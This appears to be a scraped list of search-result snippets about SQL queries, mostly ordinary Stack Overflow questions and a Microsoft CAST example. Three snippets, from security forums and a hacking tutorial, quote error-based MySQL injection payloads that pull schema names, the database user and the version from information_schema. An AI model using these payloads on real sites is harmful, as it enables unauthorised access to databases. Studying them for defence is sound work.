tsql - Return a value if no rows are found SQL - Stack Overflow
SELECT CASE WHEN COUNT(1) > 0 THEN 1 ELSE 0 END AS [Value]. FROM Sites S.
sql - Using CHAR(13) in a FOR XML SELECT - Stack Overflow
I'm trying to use CHAR(13) to force a new line, but the problem is, I'm doing this within a FOR XML Select statement: … The problem with this, is that I don't get an actual new line. Instead, I get: …
sql - Select count(*) from multiple tables - Stack Overflow
How can I select count(*) from two different tables (call them tab1 and tab2) having as result: Count_1 Count_2 123 456.
SQL Инъекции | Page 4 | ANTICHAT - Security online community
...concat((select (select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 1,1)) from `information_schema
tsql - T-SQL select query to remove non-numeric... - Stack Overflow
I've got dirty data in a column with variable alpha length. I just want to strip out anything that is not 0-9. I do not want to run a function or proc.
sql - Select from union tsql - Stack Overflow | Post as a guest
Is it possible to select from the result of a union? For example I'm trying to do something like: … Am I missing anything or making an assumption about how this works?
sql - select count(*) from select - Stack Overflow | Post as a guest
I am trying to get row count from the following query. I get only row count as 1 but there are 35 records. Could you please let me know how to get the count from inner query? Thank you …
Error based MySQL injection или не надо ругаться / Хабр
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Версия MySQL
CAST and CONVERT (Transact-SQL) - SQL Server | Microsoft Docs
SELECT DISTINCT CAST(EnglishProductName AS char(10)) AS Name, ListPrice FROM dbo.DimProduct WHERE EnglishProductName LIKE 'Long-Sleeve Logo Jersey, M'
Hacking: Error based sql injection tutorial - Double query injection
ultimatehackingarticles.blogspot.com
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.